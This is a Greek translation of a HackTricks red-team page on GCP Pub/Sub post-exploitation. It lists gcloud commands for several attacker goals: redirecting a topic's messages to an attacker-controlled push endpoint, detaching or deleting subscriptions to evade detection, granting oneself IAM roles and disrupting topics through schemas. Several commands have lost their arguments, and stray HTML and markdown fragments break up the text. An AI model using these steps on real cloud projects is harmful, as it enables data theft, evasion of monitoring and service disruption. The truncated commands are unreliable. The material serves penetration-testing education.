GCP - Pub/Sub Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Pub/Sub

Για περισσότερες πληροφορίες σχετικά με το Pub/Sub ελέγξτε την παρακάτω σελίδα:

GCP - Pub/Sub Enum

pubsub.topics.publish

Δημοσιεύει ένα μήνυμα σε ένα topic, χρήσιμο για αποστολή απροσδόκητων δεδομένων και την ενεργοποίηση απροσδόκητων λειτουργιών ή exploit vulnerabilities:

Δημοσίευση μηνύματος σε topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Χρήσιμο για να αποτρέψετε μια subscription από το να λαμβάνει μηνύματα, ίσως για να αποφύγετε την ανίχνευση.

Αποσύνδεση subscription από topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Χρήσιμο για να εμποδίσετε μια subscription να λαμβάνει μηνύματα, ενδεχομένως για να αποφύγετε τον εντοπισμό.
Είναι δυνατό να διαγράψετε ένα topic ακόμη και αν υπάρχουν subscriptions συνδεδεμένες σε αυτό.

Διαγραφή topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Χρησιμοποίησε αυτή την άδεια για να ενημερώσεις κάποια ρύθμιση του topic ώστε να το διαταράξεις, όπως --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Χορήγησε στον εαυτό σου την άδεια να εκτελέσεις οποιαδήποτε από τις προηγούμενες επιθέσεις.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Λάβετε όλα τα μηνύματα σε έναν web server:

Δημιουργία push subscription για λήψη μηνυμάτων ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Δημιουργήστε μια subscription και χρησιμοποιήστε την για να pull messages:

Δημιουργήστε pull subscription και ανακτήστε messages ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Διαγραφή συνδρομής** θα μπορούσε να είναι χρήσιμη για να διαταράξει ένα σύστημα επεξεργασίας logs ή κάτι παρόμοιο:

<details>

<summary>Διαγραφή συνδρομής</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Χρησιμοποιήστε αυτή την άδεια για να ενημερώσετε κάποια ρύθμιση ώστε τα μηνύματα να αποθηκεύονται σε ένα μέρος που μπορείτε να προσπελάσετε (URL, Big Query table, Bucket) ή απλώς για να το διαταράξετε.

Ενημέρωση endpoint του subscription ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Δώσε στον εαυτό σου τα δικαιώματα που χρειάζονται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες attacks.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Attack ένα schema σε ένα topic έτσι ώστε τα messages να μην το πληρούν και επομένως το topic να διαταράσσεται.
Αν δεν υπάρχουν schema ίσως χρειαστεί να δημιουργήσεις ένα.

Δημιούργησε αρχείο schema και επισύναψέ το σε topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Αυτό μπορεί να φαίνεται σαν ότι με τη διαγραφή ενός schema θα μπορείτε να στέλνετε μηνύματα που δεν συμμορφώνονται με το schema. Ωστόσο, επειδή το schema θα διαγραφεί, κανένα μήνυμα δεν θα εισέλθει πραγματικά στο topic. Οπότε αυτό είναι ΑΧΡΗΣΤΟ:

Διαγραφή schema (όχι χρήσιμη) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Δώσε στον εαυτό σου τα δικαιώματα που απαιτούνται για να εκτελέσεις οποιαδήποτε από τις προηγουμένως αναφερθείσες επιθέσεις.

pubsub.snapshots.create, pubsub.snapshots.seek

Αυτό θα δημιουργήσει ένα snapshot όλων των unACKed μηνυμάτων και θα τα επιστρέψει στη συνδρομή. Δεν είναι πολύ χρήσιμο για έναν επιτιθέμενο αλλά εδώ είναι:

Δημιούργησε snapshot και κάνε seek σε αυτό ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks